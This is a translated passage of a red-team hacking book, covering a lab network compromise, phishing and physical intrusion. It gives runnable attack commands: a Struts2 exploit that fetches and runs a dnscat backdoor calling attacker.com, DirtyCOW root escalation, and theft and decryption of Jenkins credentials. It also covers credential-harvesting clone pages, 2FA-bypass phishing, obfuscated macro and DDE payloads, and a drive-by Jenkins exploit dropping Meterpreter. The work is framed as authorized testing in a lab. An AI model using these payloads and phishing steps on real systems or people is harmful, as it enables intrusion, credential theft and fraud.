netmask= 255.255.255.0

重启服务。

sudo/Applications/VMware\Fusion.app/Contents/Library/services/services.sh --stop

sudo/Applications/VMware\Fusion.app/Contents/Library/services/services.sh --start

现在，您以NAT模式启动THP Kali虚拟机，获得172.16.250.0/24范围内的动态IP地址。如果您愿意，则可以同时启动所有其他3个实验室设备，开启“黑客”征程。

攻击CSK安全网络

您最终已经从Windows环境迁移到安全的生产网络。根据所有的调查和研究数据，您知道所有的秘密都存储在这里。这是受保护较多的网络之一，我们知道其安全基础设施已经进行了隔离。从他们的文档来看，有多个虚拟局域网需要突破，设备之间需要迁移，从而进入数据库。这就是您“训练”过的一切……

迁移到安全网络区域的外部，您看到这个网络配置为172.16.250.0/24。由于对这个网络知之甚少，因此首先要开始进行一些非常轻量级的Nmap扫描。您需要了解从网络外部可以访问这个网络的哪些系统，从而确定如何开始攻击。

扫描安全网络：

nmap 172.16.250.0/24

您注意到有3个设备正在运行，但只有一个设备开启了网站端口。看起来其他两个设备是与安全网络的外部网络隔离的，这意味着我们必须先突破172.16.250.10设备，才能迁移进入其他两个服务器。访问第一个设备（172.16.250.10），您会看到Apache Tomcat正在监听端口8080，而某些openCMS正在端口80上运行。运行网站模糊测试工具，您注意到openCMS页面也在运行Apache Struts2（/struts2-showcase），如图4.49所示。瞬间，Equifax漏洞的闪回就像砖块一样击中您。您或许认为这太走运了，但无论如何您必须进行尝试。您在msfconsole上运行快速搜索，测试漏洞“struts2_content_ type_ognl”。

图4.49

我们知道CSK会严密监控其受保护的网络流量，其内部服务器可能无法直接访问公司的网络。为了解决这个问题，我们使用DNS 命令和控制静荷，协议采用UDP而不是TCP。当然，在真实情况下，我们可能会使用权威的DNS服务器，但是在实验室，我们选择自己的DNS服务器。

[THP Kali虚拟机]

THP Kali自定义虚拟机提供所有工具，实现此次攻击，如图4.50所示。

图4.50

由于我们需要在网站服务器上托管静荷，因此Metasploit静荷能够获取dnscat恶意软件。在dnscat2客户端文件夹中是dnscat二进制文件。

cd /opt/dnscat2/client/

python -m SimpleHTTPServer 80

启动dnscat服务器。

cd /opt/dnscat2/server/

ruby ./dnscat2.rb

记录dnscat密钥。

打开新的终端，加载Metasploit。

msfconsole

搜索struts2，加载struts2漏洞工具。

search struts2

use exploit/multi/http/struts2_content_type_ognl

配置struts2 漏洞，获取dnscat静荷并在被攻击者服务器上执行。确保在这之前，更新您的IP地址和密钥，如图4.51所示。

set RHOST 172.16.250.10

set RPORT 80

set TARGETURI struts2-showcase/showcase.action

set PAYLOAD cmd/unix/generic

set CMD wget http://<your_ip>/dnscat -O /tmp/dnscat && chmod +x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret=<Your Secret Key>

run

图4.51

静荷执行后，在Metasploit中您将无法获得任何类型的确认，因为使用了dnscat静荷。您将需要检查dnscat服务器，查看DNS流量的连接。

回到dnscat2服务器，检查新执行的静荷，并创建Shell终端，如图4.52所示。

与您的第一个静荷交互

window -i 1

复制Shell进程

shell

使用键盘按键返回主菜单

Ctrl+ Z

与新Shell进行交互

window -i 2

输入Shell命令

ls

图4.52

您已经突破了OpenCMS/Apache Struts服务器！现在怎么办？您花了一些时间了解服务器，查找各种“秘密”。您记得服务器正在运行OpenCMS网站应用程序，并确定该应用程序是在/opt/tomcat/webapps/kittens下配置的。在查看OpenCMS属性的配置文件时，我们找到了数据库、用户名、密码和IP地址172.16.250.10。

检索数据库信息，如图4.53所示。

cat /opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties

图4.53

我们连接到数据库，但并没有发现太多有用的信息。问题是我们目前是一个受限的Tomcat用户，这实际上阻碍了进一步的攻击。因此，我们需要找到提升权限的方法。在服务器上运行后漏洞侦察工具（uname -a && lsb_release -a），您发现这是一个非常古老的Ubuntu版本。但是，这个服务器存在DirtyCOW权限提升漏洞。我们创建一个DirtyCOW二进制文件并获取root权限！

通过dnscat进行权限提升，如图4.54所示。

下载并编译DirtyCOW工具。

cd /tmp

wget http://bit.ly/2vdh2Ub -O dirtycow-mem.c

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

./dirtycow-mem

尝试DirtyCOW漏洞工具，在内核恐慌时，允许重启。

echo 0 >/proc/sys/vm/dirty_writeback_centisecs

echo 1 >/proc/sys/kernel/panic && echo 1 >
/proc/sys/kernel/panic_on_oops&& echo 1 >
/proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 >
/proc/sys/kernel/panic_on_io_nmi && echo 1 >
/proc/sys/kernel/panic_on_warn

whoami。

图4.54

注意：DirtyCOW漏洞用于权限提升并不是很稳定。如果漏洞利用存在一些问题，可查看我的GitHub页面，了解更稳定的创建setuid二进制文件的方法。

如果仍然存在问题，另一个选择是通过SSH工具登录第一个服务器，并以root身份执行dnscat静荷。登录时，可使用凭证hacker/changeme和sudo su - root。

现在，由于主机系统没有打补丁，因此您已成为系统的root用户。当您再次登录设备，并查找秘密信息时，您会看到root的bash历史文件。在此文件中，您可以找到SSH命令和私有SSH密钥引用。我们可以使用此SSH密钥，登录到我们的第二个设备172.16.250.30，如图4.55所示。

cat ~/.bash_history

head ~/.ssh/id_rsa

ssh -i ~/.ssh/id_rsa root@172.16.250.30

图4.55

您花了一些时间在第二个设备上，并尝试了解它的用途。在搜索时，您会注意到/home目录中有一个Jenkins用户，这会导致您识别在端口8080上运行Jenkins服务。我们如何使用浏览器查看Jenkins服务器上的内容？在这里，dnscat的端口转发功能发挥了作用。我们需要退出最初的Shell，切换到命令终端。从那里，我们需要设置一个监听器，以便通过dnscat将流量从攻击者主机经过8080端口转发到Jenkins设备（172.16.250.30）。

执行dnscat端口转发，如图4.56所示。

退出我们当前的Shell。

Ctrl + Z

返回我们的第一个命令代理并设置一个监听/端口转发。

window -i 1

listen 127.0.0.1:8080 172.16.250.30:8080

在您的THP Kali虚拟机上，通过浏览器和端口转发协议（使用DNS协议，速度非常慢）。

http://127.0.0.1:8080/jenkins

图4.56

在Jenkins应用程序的凭证管理器内部，我们将看到db_backup用户密码已经存储，但是无法访问，如图 4.57 所示。我们需要找出一种方法，获取 Jenkins 的凭证，从而可以继续横向移动。

图4.57

n00py在Jenkins凭证存储和提取方面做了一些研究。我们可以在此基础上，使用现有的Shell获取credentials.xml、master.key和hudson.util.Secret文件。

返回dnscat中的主菜单并与原始Shell进行交互。

Ctrl + Z

window -i 2

转到Jenkins的主目录，获取3个文件：credentials.xml、master.key和hudson.util.Secret。

cd /home/Jenkins

我们尝试下载这3个文件，或者采用base64编码从当前Shell复制。

base64 credentials.xml

base64 secrets/hudson.util.Secret

base64 secrets/master.key

可以将base64输出复制到Kali虚拟机中，解码它们，恢复db_backup用户的密码。

cd /opt/jenkins-decrypt

echo "<base64 hudson.util.Secret>" | base64 --decode >hudson.util.Secret

echo "<base64 master.key >" | base64 --decode > master.key

echo "<base64 credentials.xml >" | base64 --decode >credentials.xml

破解密码，如图4.58所示。

python3 ./decrypt.py master.key hudson.util.Secret credentials.xml

图4.58

我们成功破解了db_backup用户的密码“)uDvra {4UL ^; r?* h”。如果我们回顾一下之前的提示，可以在OpenCMS属性文件中发现数据库服务器位于172.16.250.50。出于某种原因，这个Jenkins服务器看起来对数据库服务器执行了某种备份。让我们检查一下是否可以基于db_backup的凭证：}uDvra {4UL ^; r?* h，使用SSH工具登录数据库服务器。唯一的问题是通过dnscat shell，我们没有直接按标准输入（STDIN），实现SSH的密码交互输入。因此，我们需要再次使用端口转发，将我们的SSH Shell从THP Kali VM，通过dnscat代理转到数据库服务器（172.16.250.50）。

返回命令Shell。

Ctrl + Z

window -i 1

创建一个新的端口转发通道，从本地转到172.16.250.50的数据库服务器，如图4.59所示。

listen 127.0.0.1:2222 172.16.250.50:22

一旦使用db_backup账户进入数据库服务器（172.16.250.50），我们就会注意到此账户是超级管理员之一，并且可以利用sudo su命令进入root。一旦以root权限登录数据库服务器，我们四处寻找，但找不到任何访问数据库的凭证。我们可以重置root数据库密码，但最终可能会影响其他一些应用程序的使用。我们在/var/lib/mysql 下搜索到其他的数据库，并找到一个cyberspacekittens数据库。在这里，我们找到了secrets.ibd文件，它包括密码列表的所有数据，如图4.60所示。在阅读数据时，我们意识到它可能是加密的。

图4.59

图4.60

至此，您已成功入侵CSK公司网络。

不要停在这里，您可以用这些设备做很多事情，我们只介绍了很少的内容。您可以随意在这些系统上操作，查找更多的敏感文件，找出其他权限升级方式等。作为参考，本实验的环境拓扑如图4.61所示。

图4.61

4.14　结论

在本章中，我们实现了网络突破。最开始的时候，在网络上没有凭证，通过社会工程的方式进入第一个被攻击者设备中。从那里，我们开始获取有关网络/系统的信息，在设备中迁移、提升权限，并最终突破整个网络。为了完成这一切，我们尽可能地减少扫描次数，使用网络自身的功能，并尽量规避各种安全工具的检测。

第5章　助攻——社会工程学

5.1　开展社会工程（SE）行动

作为红队，我们喜欢采用社会工程（SE）攻击方式，不仅仅是因为通常对技术要求较低，更因为能够以非常低的成本成功实施高价值的行动。通常只需设置几个虚假域名、服务器，以及伪造几封电子邮件，随意丢弃一些USB记忆棒，便能在一天内取得效果。

在指标方面，我们了解了一些显而易见的事情，例如发送的电子邮件数量，单击链接的用户数量以及输入密码的用户数量。我们也努力发挥创造力，为雇用我们的公司带来实质性价值。这方面的一个例子是DefCon的社会工程竞赛，参赛的选手拨打中心和员工的电话。您可能不熟悉这个比赛，在比赛中，参赛的选手要在有限的时间找到指定公司的一些“旗帜”。“旗帜”需要通过获取公司信息夺得（例如虚拟专用网络、他们使用的杀毒软件类型、员工的具体信息或者让员工访问URL等）。如果您想了解竞赛中使用的所有“旗帜”，那么可查看2017年的比赛报告。这些类型攻击的目的是通过培训员工发现恶意行为并报告给团队，帮助公司提高内部安全意识。

在本章中，我们将简单介绍一下在行动中使用的一些工具和技术。对于社会工程类的攻击，没有正确或错误的答案。本书认为，只要攻击取得效果，就达到预期目标了。

5.1.1　近似域名

我们在本书第2版中讨论了近似域名的话题。近似域名或者丢弃恶意软件仍然是获得最初凭证的一个有效方法。比较常见的方法是购买与目标公司非常相似的网址，或者容易输入错误的公司网址。

本书第2版有一个例子，如果攻击mail.cyberspacekittens.com网址，那么我们就会购买网址mailcyberspacekittens.com，并设置一个虚假的Outlook页面来捕获凭证。当被攻击者访问假网站并输入密码时，我们搜集这些数据，并将其重定向到公司的有效电子邮件服务器（mail.cyberspacekittens.com）。上述做法留给他们的印象是他们第一次意外地错误输入了密码，因此需要再次进行登录。

这种攻击的优势在于您不必进行任何网络钓鱼。有些人会输入错误或忘记“mail”和“cyberspacekittens”之间的点，然后输入他们的凭证。我们为被攻击者添加书签，这样被攻击者每天都会访问这个网站。

5.1.2　如何复制身份验证页面

一个较好的快速复制Web应用程序身份验证页面的工具是TrustedSec的社会工程工具包（SET）。这是社会工程行动的标准工具，其中获取凭证是优先事项。设置SET工具的步骤如下。

配置SET工具使用Apache（与默认Python相比）。

将配置文件修改为以下内容

gedit /etc/setoolkit/set.config

APACHE_SERVER= ON

APACHE_DIRECTORY= / var / www / html

HARVESTER_LOG= / var / www / html

启动社会工程工具包（SET）。

cd / opt / social-engineer-toolkit

setoolkit

网络钓鱼攻击向量。

网站攻击向量。

凭证获取攻击方法。

网站复制。

攻击者服务器的IP。

要复制的网站。

打开浏览器，转到攻击者服务器并进行测试。

所有文件存储在/var /www /html下，密码存放在harvester*下。在社会工程行动中复制页面的一些最佳做法如下。

将Apache服务器迁移，使用SSL协议运行。

将所有图像和资源放在本地（而不是从复制的站点调用）。

就个人而言，我喜欢用我的公共pgp密钥存储所有记录的密码。这样做时，如果服务器被突破，则没有私钥就无法恢复密码。这可以通过PHP gnupg_encrypt和gnupg_decrypt来实现。

5.1.3　双因子凭证

我们看到更多客户使用双因子身份验证（2FA）。虽然双因子身份验证对红队来说是一个巨大的考验，但是并非不可绕过。从过去的经验来说，我们必须创建自定义页面，处理双因子认证，但现在有了ReelPhish工具。FireEye开发的ReelPhish工具允许红队利用Selenium和Chrome自动触发双因子认证，条件是被攻击者在诱骗页面上输入凭证。

复制需要双因子身份验证的被攻击者站点。

在自己的攻击设备中，分析登录真实站点的流量。就我而言，我打开Burp Suite，截获鉴权所需的post参数。

修改复制站点，使用ReelPhish。访问/examplesitecode/samplecode.php并输入身份验证所需的所有必要参数。

被攻击者进入复制网站并进行身份验证。

凭证被回送给攻击者。

ReelPhish将向真实的网站提交身份验证，触发双因子认证。

被攻击者接收双因子认证码或者电话推送。

被攻击者重定向到真实站点再次登录（他们认为在初次认证时失败）。

如图5.1所示，我们绕过双因子认证，获得鉴权会话。尽管看起来这个工具支持Linux，但我在Kali中运行时遇到了一些问题。因此，首先在Windows中运行。

图5.1

关于双因子认证的身份认证，我想提到的一件事是确保在获得凭证后，核实所有不同的身份验证方法。我的意思是他们可能使用双因子认证，用于网站的身份验证，但对于API、旧胖客户端或所有应用程序端点，可能不需要双因子认证。我们已经看到许多应用程序在公共端点上需要双因子认证，但在应用程序的其他部分不使用双因子认证，缺乏安全保护。

5.2　网络钓鱼

红队取得巨大“成功”的另一项技术是传统的网络钓鱼。网络钓鱼的成功关键在于恐惧、紧迫性或者听起来好得令人难以置信的事情。恐惧和紧迫性确实发挥了作用，我相信很多读者以前都经历过这种情况。恐惧和紧迫性类型攻击包括以下一些情况。

欺诈性购买的虚假电子邮件。

有人入侵了您的电子邮件。

有关税务欺诈的电子邮件。

对于这些一般性攻击，我们注意到公司员工变得越来越聪明。通常采用基本的网络钓鱼攻击，每10封电子邮件中至少有1封邮件被上报。在某些情况下数量要更多。持续监控这些简单的网络钓鱼攻击，确保公司是否能够更好地应对这些情况，对于红队来说是非常有价值的。

对于那些寻求更多自动化攻击的人来说，可能更愿意选择Gophish，因为它很容易设置和维护，支持模板和HTML，并跟踪/记录您需要的一切。如果您是Ruby的爱好者，那么有Phishing Frenzy；对于Python，有King Phisher。

这些自动化工具非常适合记录简单的网络钓鱼行为。对于目标开展行动，我们更多地采用手动的方法。例如，如果我们通过侦察，获得被攻击者的邮件记录，确认客户使用Office 365，那么我们就需要弄清楚，如何使用该信息构建一个非常逼真的行动。此外，我们会尝试查找该公司泄露的任何电子邮件、可能正在运行的程序、新功能、系统升级、合并以及有用的任何其他信息。

有时我们还会开展更有针对性的行动。在这些行动中，我们尝试使用所有开源工具来搜索有关人员、资产、家庭等相关的信息。例如，如果针对高管，我们会在pipl.com上搜索他们的资料，并伪造一封来自学校的电子邮件，告诉他们需要打开这个Word文档。这些操作可能会花费相当长的时间，但成功率却很高。

5.2.1　Microsoft Word/Excel宏文件

一种较早出现但经过实践检验的社会工程方法是向被攻击者发送恶意的Microsoft Office文件。为什么Office文件非常适合恶意静荷？因为在默认情况下，Office文件支持Visual Basic for Applications（VBA），允许代码执行。尽管最近这种方法已经很容易被杀毒软件检测到，但使用混淆方法后，在许多情况下仍然非常有效。

通常，我们可以使用Empire或Unicorn创建VBA宏。

（1）使用Empire。

选择Macro Stager。

usestager windows/macro

确保进行正确的设置。

info

创建宏。

generate

（2）如果您想为Meterpreter创建静荷，那么可以使用像Unicorn这样的工具。

cd/opt/unicorn。

./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro。

启动Metasploit监听程序。

msfconsole-r./unicorn.rc

载荷生成后如图5.2所示。

图5.2

如您所见，上面示例中运行的是一个简单的PowerShell base64混淆脚本。这可以绕过一些杀毒软件产品，重要的是，确保在进行实际的行动之前，对其进行测试。在生成宏后，您可以快速创建一个Excel文档，如图5.3所示。

图5.3

打开Excel。

转到“视图”选项卡→“宏”→“查看宏”。

添加宏名称，为book1配置宏，然后单击“创建”按钮。

用生成的代码替换所有当前的宏代码，如图5.4所示。

另存为.xls（Word 97—Word 2003）格式或Excel宏启用。

图5.4

现在，当用户打开您的文档时，他们都会收到安全警告和启用内容的按钮，如图5.5所示。如果您可以欺骗被攻击者单击“Enable Content”（启用内容）按钮，PowerShell脚本将会执行，从而获得Empire Shell。

图5.5

如前所述，由于Macro方法是一种出现很久的攻击方法，因此许多被攻击者可能已经开始提防这种攻击。我们可以使用Office文件的另一个攻击方法，将静荷嵌入批处理文件（.bat）。在较新版本的Office中，如果被攻击者双击Word文档中的.bat文件，则不会执行对象。我们通常要“欺骗”他们，将.bat文件移动到桌面并执行，如图5.6所示。

图5.6

我们可以使用LuckyStrike以更自动化的方式完成此操作。使用LuckyStrike，我们可以在工作表中使用静荷创建Excel文档，甚至可以在Excel文档中存储完整的可执行文件（EXE），EXE文件可以使用ReflectivePE在内存中运行。

我介绍的Office文件可执行文件的最后一个工具是VBad。在运行VBad时，必须在Office中启用宏，并在宏安全设置中选中“信任对VBA项目对象模型的访问”复选框。这允许VBad Python代码更改并创建宏。

VBad对MS Office文档中的静荷做了深层次的混淆处理，如图5.7所示。VBad还增加了加密功能，采用假密钥方式迷惑了应急响应团队，最重要的是，它可以在第一次成功运行后破坏加密密钥（一次性恶意软件）。VBad的另一个特性是还可以删除静荷模块的引用，这样VBA 开发工具无法查看静荷，这使得分析和调试变得更加困难。因此，不仅逆向分析很难完成，而且如果应急响应团队尝试分析执行的Word文档与原始文档，那么所有密钥都将丢失。

图5.7

5.2.2　非宏Office文件——DDE

红队攻击的一个特点是，有时候时间点非常重要。在我们的一次评估中，首次发现了一个名为DDE的全新漏洞。任何杀毒软件或安全产品尚未检测到它，因此这是我们获得初始入口点的“好”方法。虽然现在有几种安全产品可以检测DDE，但在某些环境中它仍然可能是一种可行的攻击方式。

什么是DDE

Windows提供了几种在应用程序之间传输数据的方法，其中一种方法是使用动态数据交换（DDE）协议。DDE协议定义消息的格式和规则。DDE协议在共享数据的应用程序之间发送消息，并使用共享内存交换应用程序之间的数据。应用程序可以使用DDE协议进行一次性数据传输和持续的数据传输。

Sensepost团队做了一些研究，发现MS Excel和MS Word公开DDE执行接口，无须使用宏，可以执行代码，如图5.8所示。

图5.8

在Word中执行以下操作。

选择“插入”选项卡→“快速部分”→“字段”。

选择“公式”。

右键单击：！意外的公式结束并选择切换域代码。

将静荷更改为您的静荷。

DDEAUTO c:\windows\system32\cmd.exe "/k powershell.exe [empire payload here]"

Empire有一个stager，它将自动创建Word文件和关联的PowerShell脚本，如图5.9所示。这个stager可以通过以下方式配置。

图5.9

usestager windows / macroless_msword。

有一种攻击会导致被攻击者向互联网上的攻击者服务器发出SMB请求，从而可以搜集被攻击者的NTLM鉴权散列值。这可能有效，也可能无效，因为现在大多数公司阻止SMB相关端口外联。对于那些无效的被攻击者，我们可以利用错误配置，实施subdoc_inector攻击。

5.2.3　隐藏的加密静荷

作为红队，我们一直在寻找创造性方法，构建目标网页，加密静荷，并诱使用户单击运行。两个具有类似处理流程的不同工具是EmbededInHTML和demiguise。

第一个工具EmbededInHTML首先获取文件（任何类型的文件），加密文件，并将其作为资源嵌入HTML文件中，以及自动下载程序（用于响应用户单击嵌入资源），然后，当用户浏览HTML文件时，嵌入式文件即时解密，保存在临时文件夹中，接着将文件呈现给用户，就像从远程站点下载一样，这具体取决于用户的浏览器和显示的文件类型，该文件可以由浏览器自动打开，如图5.10所示。

cd /op/EmbedInHTML。

python embedInHTML.py -k keypasshere -f meterpreter.xll –o index.html –w。

一旦被攻击者访问恶意站点，弹出窗口就会提示被攻击者Excel正打开.xll文件。注意，对于最新版本的Excel（除非配置错误），用户需要启用加载项来执行静荷。此时是您的社会工程技巧发挥作用的时候了。

图5.10

第二个工具demiguise生成包含加密的HTA文件的.html文件。思路是当被攻击者访问页面时，页面获取密钥，在浏览器中动态解密HTA，并直接呈现给用户。这是一种规避检测技术，绕过某些安全设备的内容/文件类型检查的方法。这个工具不是为了创建出色的HTA内容而设计的，还有其他工具/技术可以帮助您完成此操作。这个工具的用途在于帮助HTA首先进入一个环境，避免被沙箱分析（如果您使用环境密钥）。

python demiguise.py -k hello –c "cmd.exe/c <powershell_command_here>" - p Outlook. Application -o test.hta。

5.3　内部Jenkins漏洞和社会工程攻击结合

作为红队，攻击的创造性总是令我们非常兴奋。我们喜欢利用旧的漏洞并再次使它们“焕然一新”。例如，如果您一直在执行网络评估，就会知道，如果遇到无须身份验证的Jenkins应用程序（开发人员大量使用它进行持续集成），这几乎意味着完全突破。

这是因为它具有允许Groovy脚本执行测试的“特性”。利用这个脚本控制台，我们可以使用Shell执行命令，访问底层系统，如图5.11所示。

这种方法在突破方面变得如此受“欢迎”的原因是，几乎每家大公司都有使用Jenkins案例。外部攻击的问题是这些Jenkins服务都是内部托管的，无法从外部访问。

图5.11

我们如何远程执行这些服务器上的代码？在回答这个问题之前，我告诉团队退后一步，用Jenkins构建一个仿真网络进行测试。一旦我们很好地理解了代码执行请求的功能，就可以构建适当的工具，实现远程执行代码。

在测试环境中，我们通过使用JavaScript和WebRTC（网站实时通信）的多个步骤解决了这个问题。首先，一个组织的被攻击者，访问公共网站（攻击者控制）或存储XSS静荷的页面。被攻击者访问公共网站，攻击者将在其浏览器上执行JavaScript，运行恶意静荷。静荷会利用Chrome/Firefox“功能”，允许WebRTC公开被攻击者的内部IP。通过内部IP，我们可以推断被攻击者主机的本地子网，了解其公司的IP范围。现在，攻击者可以使用定制的Jenkins攻击程序，通过默认端口8080扫描网络范围内的每个IP地址（代码只扫描本地“/24”子网，但在真实的行动中，扫描范围要大得多）。

接下来的问题是，我们使用什么静荷？如果使用过Jenkins控制台Shell，就会知道漏洞对于静荷比较“挑剔”。使用复杂的PowerShell静荷可能会很困难。为了解决这个问题，我们在本书中创建了一个名为“generateJenkinsExploit.py”的工具，该工具加密二进制文件，构建恶意攻击JavaScript页面。当被攻击者访问恶意网页时，它获取其内部IP地址，并开始将漏洞利用工具发送到“/24”范围内的所有服务器。当找到存在漏洞的Jenkins服务器时，首先运行一个Groovy脚本静荷，从互联网上获取加密的二进制文件，将其解密到C:\Users\Public\RT.exe目录中，执行Meterpreter二进制文件（RT.exe）。

从理论上来讲，这与服务器端请求伪造（SSRF）非常相似，我们强迫被攻击者的浏览器重新启动内部IP的连接，如图5.12所示。

图5.12

被攻击者访问存储XSS或恶意JavaScript页面。

被攻击者的浏览器执行JavaScript / WebRTC，获取内部IP，使用Groovy POST静荷，扫描本地内部网络。

在找到存在漏洞的Jenkins服务器后，Groovy代码通知Jenkins服务器，从攻击者的服务器获取加密的静荷，然后解密并执行二进制文件。

在这种情况下，下载的加密可执行文件是Meterpreter静荷。

在Jenkins服务器上执行Meterpreter，然后连接到攻击者的Meterpreter服务器。

注意：

最新版本的Jenkins中已不存在此漏洞。Jenkins 2.x之前的版本未启用CSRF保护（允许盲调用脚本）以及身份验证机制，在默认情况下是存在漏洞的。

完整的Jenkins漏洞实验室如下。

我们将构建一个Jenkins Windows服务器，用于重复开展攻击测试。

在本地网络上安装具有桥接接口的Windows虚拟机。

在Windows系统中，下载并安装Java的JDK 8。

下载Jenkins War文件。

http://nurrors.jenkims.io/war-stable/1.651.2/

启动Jenkins。

java -jar jenkins.war

浏览Jenkins。

http://<Jenkins_IP>:8080/

测试Groovy脚本控制台。

http://<Jenkins_IP>:8080/script

在THP Kali 虚拟机上对Jenkins实施漏洞攻击，如图5.13所示。

图5.13

下载THP Jenkins漏洞利用工具（http://bit.ly/2IUG8cs）。

进行实验，首先创建Meterpreter静荷。

msfvenom -p windows/meterpreter/reverse_https
LHOST = <attacker_IP> LPORT = 8080 -f exe> badware.exe

加密Meterpreter二进制文件。

cd/opt/generateJenkinsExploit

python3 ./generateJenkinsExploit.py -e badware.exe

创建名为badware.html的恶意JavaScript页面。

python3./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted> badware.html

将加密的二进制和恶意JavaScript页面都移动到Web目录。

mv badware.html/var/www/html/

mv badware.exe.encrypted/var/www/html/

现在，在完全不同的系统中，使用Chrome或Firefox访问攻击者网页http://<attacker_IP>/ badware.html，如图5.14所示。只需访问该恶意页面，被攻击者的浏览器就会加载Groovy静荷，使用JavaScript和POST请求，通过端口8080，对被攻击者的内部“/24”网络地址进行扫描攻击。当找到Jenkins服务器时，Groovy脚本通知该服务器，下载加密的Meterpreter，解密并执行。在企业网络中，被攻击者最终可能获得大量的Shell。

图5.14

Jenkins只是您可以实施攻击的一种方法，而且无须身份验证即可实现代码执行，支持GET或POST的任何应用程序都适用这个场景。在这里，您需要确定被攻击者在内部网络使用哪些应用程序，从而定制恶意攻击的方式。

5.4　结论

由于人存在恐惧、紧迫轻易和信任的弱点，因此，通过这些弱点我们可以创建一些攻击行动，这些行动在系统突破方面具有很高的成功率。

在方法和目标方面，我们不能仅依赖网络钓鱼/电子邮件的被动攻击方式，还要积极地寻找主动攻击的方式。

第6章　短传——物理访问攻击

作为安全评估的一部分，CSK公司要求您的团队对设施进行物理访问安全评估。这需要检查相关安全防护措施是否充分，假定发生某事，验证警卫的反应及其响应时间。

在进行任何物理安全评估之前，请务必查看相关的法律。例如，在某些地区，仅仅使用开锁工具就可能被视为非法行为。因为我不是律师，所以您最好先咨询一下。此外，请确保您获得适当的批准，与公司的物理安全团队合作，一旦您被“抓”时，可以提供免责协议。在实际评估前，与物理安全团队讨论如果安全警卫抓到您，您是否可以逃跑或您是否必须停车，以及是否有人监视无线电。此外，因为您的团队进行的是物理访问安全评估，所以确保警卫不会发生与当地执法部门联系“这样的误会”。

现在，是时候进入CSK公司的“秘密”设施了。根据网站，它看起来像是位于299792458 Light D。通过侦察，我们注意到这个设施是封闭的，并且有一个或两个守卫。我们确定多个入口点，以及可能越过围栏的区域。通过初步演练，我们还确定了一些摄像头、大门、入口点和读卡器系统。

6.1　复制读卡器

由于在本书第2版中详细介绍了如何复制读卡器，因此这里我主要更新相关内容。在大多数情况下，HID设备不需要任何公开/私有握手协议，存在复制和暴力破解ID号的漏洞。

在本书第2版中，我们介绍了如何复制ProxCard II卡，因为它们没有任何保护，可以轻松复制，并且经常是分批大量购买，导致可以轻松暴力破解ID。上述破解都是使用Proxmark3设备完成的。从那时起，该设备的便携版本已经发布，名为Proxmark3 RDV2 Kit。这个版本配置电池，比最初Proxmark3小得多，如图6.1所示。

图6.1

常见如下的其他卡片。

HID iClass（13.56 MHz）。

HID ProxCard（125 kHz）。

EM4100x（125 kHz）。

MIFARE Classic（13.56 MHz）。

6.2　绕过进入点的物理工具

我们不会涉及物理工具和方法，因为这方面的内容需要写一本完整的书，而且需要大量的经验。与往常一样，进行物理安全评估的最好方法是实践，建立物理实验室，并找出哪些工具有效、哪些无效。我们使用过一些非常有效的工具。

开锁——SouthOrd一直是我们开锁的首选。该工具质量很好，效果也不错。

门旁路设备——用于绕过加锁门的工具。

Shove-it工具——一种简单的工具，用于门和锁之间有足够的空间的情况。类似于信用卡刷卡打开门，您可以使用推动工具进入柱塞后面并向后拉。

Under the Door 2.0——具有杠杆手柄的开门工具。我们可以将Under the Door工具直接放到门下，缠绕杠杆手柄，然后向下拉。过去，酒店中经常使用这些工具，但我们确定在其他商业场合也见到过。

空气罐——一种便宜且简单的工具，可以通过内部的运动传感器解锁门。

请记住，这些工具和物理评估的目的是跟踪和了解公司的物理安全预案如何响应。因此，我们的工作是确保不仅记录系统存在的缺陷，而且要评估响应时间和事件处理是否合理。

LAN Turtle

LAN Turtle工具是我经常使用的Hak5工具之一。在本书之前的版本中，我们已经研究了Raspberry Pi和ODROID小尺寸的投放箱。在这些设备上运行Kali Linux，设备通过SSH或VPN回连到我们的攻击者主机，这是一种物理渗透测试的好方法。

多年来，这些投放箱在不断发展。现在，LAN Turtle可以隐藏在任何机器后面，由USB供电，对用户是透明的。LAN Turtle作为NIC卡，使用USB接口，通过以太网电缆代理所有流量。

还有3G手机版，但是我们不会在这里展示。

下面介绍如何设置LAN Turtle。

LAN Turtle如图6.2所示，研制的目的是更换之前的投放箱。虽然它有很多其他功能，如autossh、DNS欺骗、Meterpreter、Ptunnel、script2email、urlsnarf和Responder等，但是红队使用它的主要用途是访问网络。

从过去的经验来看，甚至在本书之前的版本中，我们都使用了反向SSH Shell。通常这样已经满足需要了，但是对于深入的扫描/复杂攻击，我们需要完全访问网络。为此，我们将配置反向VPN连接。反向VPN连接是什么样的？

好吧，LAN Turtle通常被丢在组织内部一个台式机的后面，我们将无法直接连接到它。因此，LAN Turtle首先通过端口443回连到我们的OpenVPN AS服务器。攻击者Kali设备同样也登录VPN服务器。一旦LAN Turtle和攻击者设备都连接到VPN服务器，我们就可以通过LAN Turtle重定向流量，扫描和突破目标网络，如图6.3所示。

图6.2

图6.3

虽然OpenVPN反向隧道不是新的技术，但是Hak5的团队确实做得非常好，并提供了教程。我需要修改以下部分命令。

有以下3个主要部分来完成这项操作。

我们在互联网上搭建一个OpenVPN AS服务器。

我们需要配置LAN Turtle。

我们需要配置攻击者机器。

下面介绍如何搭建VPS OpenVPN AS服务器。

（1）确保VPN服务器提供互联网服务。我们通常习惯在VPS服务器上托管VPN服务器，因为易于快速搭建。注意，需要联系VPS提供商，确保允许进行某些操作。

（2）人们经常使用的两个VPS提供商是Linode和Amazon Lightsail。这两个服务商的VPS快速、便宜且易于设置。在这里，我们使用AWS Lightsail。选择AWS的另一个原因是流量检测，因为被攻击者的网络本身就有大量的流量访问AWS服务器，所以我们的流量就可以隐藏在其中。

（3）访问Lightsail.aws.amazon.com，创建一个新的VPS。

（4）创建后，转到Manage→Networking。

添加两个防火墙TCP端口（443和943）。

（5）创建VPS服务器后，现在登录。

对SSH密钥执行chmod 600命令，登录服务器。

ssh -i LightsailDefaultPrivateKey-us-west-2.pem ubuntu @ [IP]。

（6）SSH登录服务器后。

切换到root身份。

sudo su

更新服务器。

apt-get update && apt-get

安装OpenVPN AS。

复制链接，将其下载到VPS。例如：

wget http://swupdate.openvpn.org/as/openvpn-as-2.1.12-Ubuntu16.amd_64.deb

安装OpenVPN AS。

dpkg -i openvpn-as-2.1.12-Ubuntu16.amd_64.deb

删除当前配置文件，开始配置OpenVPN。

